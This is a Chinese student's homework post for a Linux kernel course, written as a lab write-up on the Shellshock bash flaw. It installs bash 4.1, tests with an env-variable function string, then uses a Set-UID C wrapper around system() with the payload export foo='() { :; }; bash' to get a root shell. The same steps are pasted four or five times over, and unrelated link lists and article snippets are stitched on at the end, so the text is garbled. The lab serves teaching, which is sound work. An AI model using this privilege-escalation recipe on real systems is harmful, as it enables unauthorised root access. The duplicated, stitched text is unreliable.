20199326《Linux内核原理与分析》第十一周作业
Shellsock攻击实验
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
20199326《Linux内核原理与分析》第十一周作业的更多相关文章
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
- 2019-2020-1 20199329《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...
- 2019-2020-1 20209313《Linux内核原理与分析》第二周作业
2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...
- 2018-2019-1 20189221《Linux内核原理与分析》第一周作业
Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...
- 《Linux内核原理与分析》第一周作业 20189210
实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...
- 2018-2019-1 20189221《Linux内核原理与分析》第二周作业
读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...
随机推荐
- Nutch & Solr & IKAnalyzer Deployment Debug
Nutch配置错误 (1) IO错误 记得出错的时候把出错的目录删除,否则下次还是出错. (2) Command crawl is deprecated, please use bin/crawl ...
- 【Linux】Linux(一)Linux常用命令
一 命令行提示符 1.[root@localhost ~]# 当前登录用户@主机名:当前所在目录$ # 超级用户 $ 普通用户 当前所在目录:~ 用户家目录 管理员 /root 普通用户 /home ...
- ubuntu安装fastdfds
ubuntu安装fastdfds 安装fastdfds依赖 cd /user/local wget https://github.com/happyfish100/libfastcom ...
- C语言输出菱形
#include<stdio.h> #include<string.h> int main(){ int data[7][7] = {0}; for( ...
- Python设计模式(8)-抽象工厂
# coding=utf-8 这种方式反倒把事情做复杂了 可取之处在于有了更高层次的抽象 class IEmployee: def insert_employee(self): pass class ...
- Nginx如何来配置隐藏入口文件index.php(代码)
Nginx配置文件里放入这段代码 server { location / { index index.php index.html index.htm l.php; autoindex on; if ...
- spring 管理事务配置时,结果 报错: No Hibernate Session bound to thread, and configuration does not allow creation of non-transactional one here这个异常
java.lang.IllegalStateException: No Hibernate Session bound to thread, and configuration does not al ...
- 一个不错的博客-涉及el 、jstl、log4j 入门等
http://www.cnblogs.com/Fskjb/category/198224.html
- lambda表达式,及lambda简化过程
lambda表达式(jdk8特性) 1.为什么要用lambda表达式 原因:因为我们有时候需要用到很多类,但是,这些类我们只用一次或者两次,所以我们用匿名内部类,但是匿名内部类多了还是很麻烦,所以用l ...
- AJ学IOS(42)UI之核心动画CAAnimationGroup以及其他
AJ分享,必须精品 效果: 代码: 很简单,不多说,就是把一堆动画放一起,看代码. - (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent * ...